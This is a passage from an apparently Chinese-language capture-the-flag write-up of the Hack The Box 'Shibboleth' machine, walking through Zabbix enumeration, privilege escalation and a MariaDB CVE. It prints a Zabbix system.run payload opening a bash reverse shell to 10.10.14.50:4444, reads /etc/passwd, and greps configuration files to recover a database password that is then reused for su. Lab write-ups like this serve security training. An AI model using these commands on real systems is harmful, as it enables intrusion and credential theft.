0.1px;">[09:13:24] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    2KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /maintenance.php                                  </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:26] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    2KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /map.php                                          </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:36] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /modules/                                         </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:13:36] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">301</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  332B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /modules  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>&gt;  http://zabbix.shibboleth.htb/modules/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:14:30] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  974B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /robots.txt                                       </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:14:37] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /server-status/                                   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:14:37] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /server-status</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:14:42] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    2KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /setup.php                                        </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[09:15:19] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  286B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /vendor/</span></pre><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">查资料知道Zabbix 有一个参数存在可以命令执行</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3568818514007308" data-s="300,640" style="" data-type="png" data-w="821" src="https://wechat2rss.xlab.app/img-proxy/?k=cb0ded88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY5do1gCbOSYXQgUI0v4BfHutSK1niafhKzU2EaDxeOdjHzQibHlPkicGfw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">找到</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3232830820770519" data-s="300,640" style="" data-type="png" data-w="1194" src="https://wechat2rss.xlab.app/img-proxy/?k=02f5146d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYSsI92UHRicxibCcF72v9KlkjEy2PibwTyQ6HfeIkEncnTaziaGwJRLKEqQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">尝试创建一个item</span></p><p><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.39920556107249255" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=084e6a21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYVxLaQy4QuVOicIbeOSqPjfoyz8qlg27wRJw0gfTtxlt52dDcHSU2YDA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.25598904859685145" data-s="300,640" style="" data-type="png" data-w="1461" src="https://wechat2rss.xlab.app/img-proxy/?k=40b54d45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYDAUraEdmiaz0EMvMSZXSZ0WhEicAU3FcUjRulzMicetWmwuJ43cXWy3ag%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">所以我们的payload</span></p><pre spellcheck="false" lang="" cid="n37" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">system.run[&#34;/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.50/4444 0&gt;&amp;1&#34;,nowait]</span></pre><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">点击TEST按钮即可。查了好多资料，发现这个地方使用的限制比较大，默认不开启这个方法。</span></p><h3 cid="n39" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;font-size: 1.5em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x03 权限提升</span></h3><pre spellcheck="false" lang="bash" cid="n40" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">cat</span> /etc/passwd |grep <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-v</span> nologin|grep <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-v</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">false</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);"># -v 管道符不显示</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">root:x:0:0:root:/root:/bin/bash</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">sync:x:4:65534:sync:/bin:/bin/sync</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">尝试获取flag，发现无权限</span></p><pre spellcheck="false" lang="bash" cid="n42" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-rw-r-----</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> ipmi-svc ipmi-svc <span style="box-sizing: border-box;color: rgb(17, 102, 68);">33</span> Dec <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">07</span>:01 /home/ipmi-svc/user.txt</span></pre><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">看到有开启3306端口</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__meta">zabbix@shibboleth</span>:<span class="code-snippet__string">/tmp$ netstat -ant</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">netstat</span> <span class="code-snippet__string">-ant</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Active</span> <span class="code-snippet__string">Internet connections (servers and established)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Proto</span> <span class="code-snippet__string">Recv-Q Send-Q Local Address           Foreign Address         State      </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 0.0.0.0:10050           0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 0.0.0.0:10051           0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0     13 10.10.11.124:51748      10.10.14.50:4444        ESTABLISHED</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      1 10.10.11.124:35144      1.1.1.1:53              SYN_SENT   </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::10050                :::*                    LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::10051                :::*                    LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::80                   :::*                    LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45644               TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45332       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45340       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45604               TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45344       ESTABLISHED</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45336       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45612               TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45342       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45334       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45558               TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 10.10.11.124:80         10.10.14.50:45330       TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45586               TIME_WAIT  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 ::1:10051               ::1:45596               TIME_WAIT</span></span></code></pre><p style="text-align: center;"><br/></p><pre spellcheck="false" lang="bash" cid="n46" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[-] MYSQL version:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mysql  Ver <span style="box-sizing: border-box;color: rgb(17, 102, 68);">15</span>.1 Distrib <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.3.25-MariaDB, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> debian-linux-gnu (x86_64) using readline <span style="box-sizing: border-box;color: rgb(17, 102, 68);">5</span>.2</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">搜索一下发现有个刚出炉的。影响范围是：</span></p><pre spellcheck="false" lang="" cid="n48" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">MariaDB 10.2 before 10.2.37</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        10.3 before 10.3.28</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        10.4 before 10.4.18 </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        10.5 before 10.5.9</span></pre><pre spellcheck="false" lang="" cid="n49" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">https://github.com/Al1ex/CVE-2021-27928</span></pre><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">查看zabbix配置文件，发现无权限，如下</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">drwxr-xr-x</span>  4 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">root</span>      4096 <span class="code-snippet__selector-tag">Nov</span>  8 11<span class="code-snippet__selector-pseudo">:02</span> .</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">drwxr-xr-x</span> 96 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">root</span>      4096 <span class="code-snippet__selector-tag">Nov</span>  8 11<span class="code-snippet__selector-pseudo">:02</span> ..</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">-r--------</span>  1 <span class="code-snippet__selector-tag">zabbix</span>   <span class="code-snippet__selector-tag">zabbix</span>      33 <span class="code-snippet__selector-tag">Apr</span> 24  2021 <span class="code-snippet__selector-tag">peeesskay</span><span class="code-snippet__selector-class">.psk</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">drwxr-xr-x</span>  2 <span class="code-snippet__selector-tag">www-data</span> <span class="code-snippet__selector-tag">root</span>      4096 <span class="code-snippet__selector-tag">Apr</span> 27  2021 <span class="code-snippet__selector-tag">web</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">-rw-r--r--</span>  1 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">root</span>     15317 <span class="code-snippet__selector-tag">May</span> 25  2021 <span class="code-snippet__selector-tag">zabbix_agentd</span><span class="code-snippet__selector-class">.conf</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">-rw-r--r--</span>  1 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">root</span>     15574 <span class="code-snippet__selector-tag">Oct</span> 18 09<span class="code-snippet__selector-pseudo">:24</span> <span class="code-snippet__selector-tag">zabbix_agentd</span><span class="code-snippet__selector-class">.conf</span><span class="code-snippet__selector-class">.dpkg-dist</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">drwxr-xr-x</span>  2 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">root</span>      4096 <span class="code-snippet__selector-tag">Apr</span> 27  2021 <span class="code-snippet__selector-tag">zabbix_agentd</span><span class="code-snippet__selector-class">.d</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">-rw-r-----</span>  1 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">ipmi-svc</span> 21863 <span class="code-snippet__selector-tag">Apr</span> 24  2021 <span class="code-snippet__selector-tag">zabbix_server</span><span class="code-snippet__selector-class">.conf</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">-rw-r-----</span>  1 <span class="code-snippet__selector-tag">root</span>     <span class="code-snippet__selector-tag">ipmi-svc</span> 22306 <span class="code-snippet__selector-tag">Oct</span> 18 09<span class="code-snippet__selector-pseudo">:24</span> <span class="code-snippet__selector-tag">zabbix_server</span><span class="code-snippet__selector-class">.conf</span><span class="code-snippet__selector-class">.dpkg-dist</span></span></code></pre><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"></span></p><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">是没有密码。尝试su+弱密码，试了好多不行</span></p><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">想到上面的密码试了可以</span></p><pre spellcheck="false" lang="bash" cid="n55" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ipmi-svc@shibboleth:/home<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$ id</span> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 255);">uid</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1000</span>(ipmi-svc) <span style="box-sizing: border-box;color: rgb(0, 0, 255);">gid</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1000</span>(ipmi-svc) <span style="box-sizing: border-box;color: rgb(0, 0, 255);">groups</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1000</span>(ipmi-svc)</span></pre><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">没找到什么关机的信息泄露，使用</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">ipmi-svc@shibboleth:/home$ grep -iR  passw /etc/</span></code><code><span class="code-snippet_outer">grep: /etc/at.deny: Permission denied</span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_agentd.conf:<span class="code-snippet__meta">#        Alias=zabbix.userid:vfs.file.regexp[/etc/passwd,^zabbix:.:([0-9]+),,,,\1]</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">### Option: DBPassword</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">#      Database password.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">#      Comment this <span class="code-snippet__meta-keyword">line</span> <span class="code-snippet__meta-keyword">if</span> no password is used.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta"># DBPassword=</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">### Option: DBPassword</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">#        Database password.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">#        Comment this <span class="code-snippet__meta-keyword">line</span> <span class="code-snippet__meta-keyword">if</span> no password is used.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:DBPassword=ipmi-svc@shibboleth:/home$ grep -iR  passw /etc/</span></code><code><span class="code-snippet_outer">grep -iR  passw /etc/</span></code><code><span class="code-snippet_outer">grep: /etc/at.deny: Permission denied</span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_agentd.conf:<span class="code-snippet__meta">#        Alias=zabbix.userid:vfs.file.regexp[/etc/passwd,^zabbix:.:([0-9]+),,,,\1]</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">### Option: DBPassword</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">#      Database password.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta">#      Comment this <span class="code-snippet__meta-keyword">line</span> <span class="code-snippet__meta-keyword">if</span> no password is used.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf.dpkg-dist:<span class="code-snippet__meta"># DBPassword=</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">### Option: DBPassword</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">#        Database password.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:<span class="code-snippet__meta">#        Comment this <span class="code-snippet__meta-keyword">line</span> <span class="code-snippet__meta-keyword">if</span> no password is used.</span></span></code><code><span class="code-snippet_outer">/etc/zabbix/zabbix_server.conf:DBPassword=bloooarskybluh</span></code></pre><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, 